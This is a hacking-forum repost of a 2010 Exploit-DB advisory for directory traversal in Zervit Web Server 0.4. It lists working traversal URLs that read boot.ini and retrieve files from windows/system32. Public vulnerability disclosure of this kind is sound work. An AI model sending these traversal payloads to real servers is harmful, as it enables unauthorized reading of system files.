Exploit Zervit Web Server 0.4 - Directory Traversals

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
12582
Проверка EDB
  1. Пройдено
Автор
DR_IDE
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
N/A
Дата публикации
2010-05-12
Код:
###################################################################
#
# zervit Web Server v0.4 Directory Traversals
# Found By:	Dr_IDE
# Date: 	May 12, 2010
# Download:	http://zervit.sourceforge.net/
# Tested on:	Windows 7
#
###################################################################

- Description -

zervit HTTP Server v0.4 is a Windows based HTTP server. This is the latest
version of the application available.

zervit HTTP Server is vulnerable to remote directory traversal attacks. Other traversal bugs
have been released for this server but this can be done from a browser, no need for Host headers.

- Technical Details - (This is with Directory Listing = On or Off)

http://[ webserver IP][:port]index.html?../../../../../boot.ini
http://[ webserver IP][:port]index.html?..\..\..\..\..\boot.ini
http://[ webserver IP][:port]calc.exe?../../../../windows/system32/calc.exe
http://[ webserver IP][:port]calc.exe?..\..\..\..\windows\system32\calc.exe

#[pocoftheday.blogspot.com]
 
Источник
www.exploit-db.com

Похожие темы